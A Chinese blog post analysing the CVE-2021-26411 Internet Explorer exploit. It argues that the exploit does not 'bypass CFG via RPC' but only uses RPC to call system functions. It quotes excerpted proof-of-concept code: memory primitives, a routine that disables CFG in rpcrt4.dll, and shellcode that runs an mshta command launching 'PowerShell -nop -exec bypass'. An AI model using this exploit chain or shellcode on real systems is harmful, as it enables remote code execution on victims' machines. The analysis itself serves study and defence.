纠正一下网上文章所说“利用RPC绕过CFG”的错误说法

news2024/11/24 12:38:44

纠正误区

网上说“利用RPC绕过CFG”的说法是不正确的,我先给出自己的观点,后面再说我的分析。网上有好几篇分析CVE-2021-26411的文章,对绕过CFG一律都说是利用RPC。其实在这个漏洞场景下,攻击者只不过是借助RPC获得执行任意系统函数的功能(注意我这里说的是系统函数,因为系统函数必然是合法的地址。),如果是某个自己创建出来的堆栈地址则可能会触发CFG异常。以下是该漏洞POC的关键部分:

...
for (var i = 0; 16 > i; ++i) fakeArr[i] = bufArr[i];
fakeArr[4] = bs + 64, fakeArr[16] = vt, fakeArr[17] = gc, fakeArr[24] = 4294967295, setData(1, new Data(VT_DISPATCH, bs)), flush(), ref = new VBArray(hd0.nodeValue), god = new DataView(ref.getItem(1)), ref = null, pArr = read(read(pArr + 16, 32) + 20, 32) + 16, write(read(addrOf(hd0) + 24, 32) + 40, 0, 32);
var map = new Map,
    jscript9 = getBase(read(addrOf(map), 32)),
    rpcrt4 = getDllBase(jscript9, "rpcrt4.dll"),
    msvcrt = getDllBase(jscript9, "msvcrt.dll"),
    ntdll = getDllBase(msvcrt, "ntdll.dll"),
    kernelbase = getDllBase(msvcrt, "kernelbase.dll"),
    VirtualProtect = getProcAddr(kernelbase, "VirtualProtect"),
    LoadLibraryExA = getProcAddr(kernelbase, "LoadLibraryExA"),
    xyz = document.createAttribute("xyz"),
    paoi = addrOf(xyz),
    patt = read(addrOf(xyz) + 24, 32),
    osf_vft = aos(),
    msg = initRpc(),
    rpcFree = rpcFree();
    alert("killCfg");
killCfg(rpcrt4);
var shellcode = new Uint8Array([0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
        0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
        0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
        0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
        0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
        0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
        0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
        0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
        0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
        0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
        0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
        0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x6D, 0x73, 0x68, 0x74, 0x61, 0x20, 0x76, 0x62,
        0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x3A, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x6F, 0x62, 0x6A,
        0x65, 0x63, 0x74, 0x28, 0x22, 0x77, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x2E, 0x73, 0x68, 0x65,
        0x6C, 0x6C, 0x22, 0x29, 0x2E, 0x72, 0x75, 0x6E, 0x28, 0x22, 0x50, 0x6F, 0x77, 0x65, 0x72, 0x53,
        0x68, 0x65, 0x6C, 0x6C, 0x20, 0x2D, 0x6E, 0x6F, 0x70, 0x20, 0x2D, 0x65, 0x78, 0x65, 0x63, 0x20,
        0x62, 0x79, 0x70, 0x61, 0x73, 0x73, 0x20, 0x2D, 0x45, 0x6E, 0x63, 0x20, 0x74, 0x65, 0x73, 0x74,
        0x30, 0x29, 0x28, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x2E, 0x63, 0x6C, 0x6F, 0x73, 0x65, 0x29,
        0x00
    ]),
    msi = call2(LoadLibraryExA, [newStr("msi.dll"), 0, 1]) + 20480,
    tmpBuffer = createArrayBuffer(4);
	call2(VirtualProtect, [msi, shellcode.length, 4, tmpBuffer]);
	writeData(msi, shellcode);
	alert("protect shellcode");
	call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]);
    alert("call msi");
var result = call2(msi, []);
...

注意到 k i l l c f g \textcolor{cornflowerblue}{killcfg} killcfg函数,以下是它的实现:

function killCfg(e) {
    var t = new CFGObject(e);
    if (t.getCFGValue()) {
        var r = t.getCFGAddress(),
            a = getProcAddr(ntdll, "KiFastSystemCallRet"),
            n = createArrayBuffer(4);
        call2(VirtualProtect, [r, 4096, 64, n]), write(r, a, 32), call2(VirtualProtect, [r, 4096, read(n, 32), n]), map["delete"](n)
    }
}

function call2(e, t) {
    readyRpcCall(e);
    var r = setArgs(t);
    return call(msg), map["delete"](r), callRpcFreeBuffer()
}

function readyRpcCall(e) {
    var t = _RPC_MESSAGE.get(msg, "RpcInterfaceInformation"),
        r = PRPC_CLIENT_INTERFACE.get(t, "InterpreterInfo"),
        a = _MIDL_SERVER_INFO_.get(r, "DispatchTable");
    write(a, e, 32)
    alert('readyRpcCall():'.e);
}

它的思路是利用RPC调用VirtualProtect函数去修改 _ _ _ g u a r d _ c h e c k _ i c a l _ p t r \textcolor{cornflowerblue}{\_\_\_guard\_check\_ical\_ptr} ___guard_check_ical_ptr指针所在的内存属性位可读写,然后修改指针指向 K i F a s t S y s t e m C a l l R e t \textcolor{cornflowerblue}{KiFastSystemCallRet} KiFastSystemCallRet,达到绕过rpcrt4.dll中的CFG检测。做这一步的目的是为了后面会调用

 call2(msi, []);

msi是攻击者通过RPC调用LoadLibraryExA加载的msi.dll基址+20480,事实上这一步就算没有杀死CFG也是合法的,因为 L o a d L i b r a r y E x A \textcolor{cornflowerblue}{LoadLibraryExA} LoadLibraryExA是系统函数,在CFG中合法。然后攻击者将shellcode写入msi地址中,由于这个msi地址并不是某个系统函数的地址,所以必须在关闭CFG的情况下才能通过RPC调用,所以才有了前面的关闭CFG步骤。

而shellcode本身也没什么特别,就是做一些计算后拿到kernel32.dll中的 W i n E x e c \textcolor{cornflowerblue}{WinExec} WinExec然后进行调用。这在一开始直接利用RPC调用 W i n E x e c \textcolor{cornflowerblue}{WinExec} WinExec,不关闭CFG也是可以的,测试如图:

在这里插入图片描述

通过了CFG检测:

在这里插入图片描述

由此可见“利用RPC绕过CFG“的说法是不对的,根本没有关系!在重申一遍,这个漏洞中,只不过是利用RPC实现任意系统函数调用的功能。

网上的分析文章

[1] https://www.aqtd.com/nd.jsp?id=103
[2] https://paper.seebug.org/1579/
[3] https://zhuanlan.zhihu.com/p/376019202

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/45907.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Nginx配置Https证书

大致的流程如下 1.申请Https证书,绑定域名信息; 如果您有自己的服务器或者购买云服务器,可在相关方平台申请SSL证书,申请后下载相关证书文件即可,如下图: 解压缩后发现可以得到如下文件: 由于我们要使用Nginx配置SSL…

美团面试应届生第二问:Volatile有什么作用?

文章目录volatile有什么作用?可见性证明指令重排证明不能保证原子性证明Volatile与Synchronized的区别volatile有什么作用? 保证线程的可见性禁止指令重排但是不能保证原子性 可见性证明 有如下静态成员变量num,初始值为0;有两…

Nginx的配置

1运行中的Nginx进程间的关系 1.在正式提供服务的产品环境下,部署Nginx时都是使用一个master进程来管理多个worker进程,一般情况下,worker进程的数量与服务器上的CPU核心数相等。每一个worker进程都是繁忙的,它们在真正地提供互联…

RabbitMQ 快速入门-消息的收发

RabbitMQ 快速入门-消息的收发准备工作一、Connection 方式1. 生产者测试类2. 消费者测试类注意二、RabbitTemplate 方式1. 生产者测试类2. 创建队列3. 消费者注意准备工作 推荐创建两个 SpringBoot 项目,一个作为生产者,另一个作为消费者 也可使用 Ma…

数据趣事:历史最高温的是新疆吐鲁番?重庆45℃高温仅排全国第二

全球最冷的地方在哪?最热的又在哪?中国最冷的城市不是哈尔滨而是意想不到的的乌鲁木齐,历史上最高温的省市不是重庆而是新疆吐鲁番......跟随天气最趣事儿大屏一起了解有趣的天气数据吧! 最高温的省市是新疆吐鲁番,曾…

设置线程分离的方法

线程分离的设置方法 1)在创建线程时,利用thread_create函数的参2设置线程分离; 2)创建完线程后,通过pthread_detach函数设置线程分离。 第一种方法效率最高的。 1、创建线程时,设置线程分离 (1)使用 pth…

基于RK3568开源鸿蒙的助农金融服务终端设计方案

背景 2022年中央一号文件《中共中央 国务院关于做好2022年全面推进乡村振兴重点工作的意见》提出,要强化乡村振兴金融服务;《“十四五”推进农业农村现代化规划》强调,健全农村金融服务体系,将“乡村振兴金融服务行动”列入新一轮…

基于杂草优化算法的线性规划问题求解matlab程序

基于杂草优化算法的线性规划问题求解matlab程序 1 杂草算法简介 1.1 IWO定义 IWO是2006年由A. R. Mehrabian等提出的一种从自然界杂草进化原理演化而来的随机搜索算法,模仿杂草入侵的种子空间扩散、生长、繁殖和竞争性消亡的基本过程,具有很强的鲁棒性和…

文本检测与识别技术的应用现状及产业案例

文本检测与识别技术的产业应用现状 文本是人类文明的视觉和物理载体,文本的检测和识别使视觉与对其内容的理解进一步联系起来。在这一部分中,我们列出并分析了对提高我们的生产力和生活质量产生或将产生重大影响的最杰出的项目。 自动数据录入&#xff…

创建Vue项目流程

第一步:创建项目。首先创建一个文件夹,然后找到要创建项目的文件夹 输入CMD 进入小黑窗 输入“vue create 项目名” 创建我们这个项目 第二步:进入版本选择 按上下键选 选择最后的自定义版本 按回车键 第三步: 按上下键进行切换 按…

ESP32基础应用之LVGL基础

文章目录1 实验目的1.1 参考文章2 实验工具3 准备工作3.1 搭建ESP32开发环境3.2 克隆lv_port_esp32工程4 配置lv_port_esp32工程5 实验验证6 使用过程遇到的问题6.1 触摸功能点击屏幕位置不对1 实验目的 本实验为使用ESP32实现LVGL(轻量级的嵌入式图形库&#xff0…

38、Java——汽车租赁系统(JDBC+MySQL+Apache DBUtils)

​ ✅作者简介:热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:乐趣国学的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 💞当前专栏:Java案例…

iptables简述

netfilter iptables的底层实现是netfilter。netfilter实在Linux内核2.4版引入的子系统,作为通用框架提供一套hook函数的管理机制,使得数据包过滤、地址转换、访问控制、连接跟踪等功能得以实现。netfilter的架构就是在整个网络流程中放置了一些钩子&…

[附源码]计算机毕业设计springboot海滨学院学生大创项目申报与审批系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

大中型园区网络拓扑架构

目录 园区出口区 数据中心区 网络管理区 DMZ区 核心层 汇聚层 终端层 接入层 大中型园区网络通常采用核心层为“根”的树形网络架构,拓扑稳定,易于扩展和维护。 园区网络可划分为多个层次:接入层、汇聚层、核心层, 以及多个分区&a…

iwebsec靶场 SQL注入漏洞通关笔记9- 双写关键字绕过

系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注&#…

雨水情监测及视频监控解决方案 水库雨水情自动测报系统 介绍 功能 特点

平升电子水雨情自动监测系统/雨水情监测及视频监控解决方案/水库雨水情自动测报系统辅助水利管理部门实现水库雨水情信息“全要素、全量程、全覆盖”自动测报。系统具备水库水位、雨量、现场图像/视频等水文信息采集、传输、处理及预警广播等功能,有效提升了雨水情信…

技术分享 oracle中fm的作用

SQL> select |||to_char(5,999)||| from dual; 结果为:| 5| SQL> select |||to_char(5,000)||| from dual; 结果为:| 005| 如何去除多余的空格? SQL> select |||to_char(5,fm000)||| from dual; 结果为:|005| 空格…

mysql相关基础知识篇(三)

1.一条更新sql语句怎么执行的了解吗? 更新语句的执行是 Server 层和引擎层配合完成,数据除了要写入表中,还要记录相应的日志。 执行器先找引擎获取 ID2 这一行。ID 是主键,存储引擎检索数据,找到这一行。如果 ID2 这…

工业服务被忽视的销售力量:他们的技术人员

目录 1.从销售到服务的普遍 2.从服务到销售的滞后 3.是什么阻碍了售后服务时销售行为的发生 3.如何改善这种状况 1.从销售到服务的普遍 服务销售窗口的提前在工业企业已经是非常普遍的现象,特别是在互联网经济高度发达的今天,销售的触角已经直达消费…